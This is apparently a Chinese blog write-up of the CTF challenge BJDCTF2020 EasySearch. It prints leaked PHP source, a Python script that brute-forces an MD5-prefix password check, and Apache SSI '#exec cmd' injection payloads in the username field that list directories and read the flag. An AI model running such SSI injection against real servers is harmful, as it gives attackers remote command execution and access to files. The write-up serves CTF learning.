BUUCTF [BJDCTF2020]EasySearch

发布时间 2023-09-06 16:44:54作者: Amsterdamnit

F12、SQL注入、robots.txt、抓包都没发现啥。题目名是EasySearch,可能是扫描网站。
但是我用dirsearch什么都没跑出来。看别人WP发现有个index.php.swp
得到PHP源码:

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ($admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

关键点在,密码的MD5值的前六位需要等于6d0bc1
编写脚本爆破:

import hashlib
import threading

thread_ = threading.Semaphore(30)

def abc(left,right):
    thread_.acquire()
    admin = '6d0bc1'
    for i in range(left, right):
        s = hashlib.md5(str(i).encode('utf-8')).hexdigest()
        if s[:6] == admin:
            print(i)
    thread_.release()


if __name__ == '__main__':
    thread_list = []
    thread_count = 5 # 分组
    for i in range(thread_count):
        t = threading.Thread(target=abc, args=(i*2000000,(i+1)*2000000))
        thread_list.append(t)
    
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()

得到可用密码:

2020666
2305004
9162671

输入账户名admin和密码进入系统,发现在响应头中有

Url_is_here:public/a6218d90d88caf08e78eeed8b9c1baafad25d5ae.shtml

看到shtml应该要想到Apache SSI 远程命令执行漏洞

shtml是一种用于SSI技术的文件——Server Side Include--SSI。
SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。

然后利用shtml的命令执行,可控参数是username
payload1:username=<!--#exec cmd="ls ../"-->&password=9162671

payload2:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=9162671

得到flag{a6b6a42a-7ae2-44f0-a156-83494c51a4bf}




参考链接:
https://blog.csdn.net/devilare/article/details/119351945
https://blog.csdn.net/qq_41628669/article/details/106133112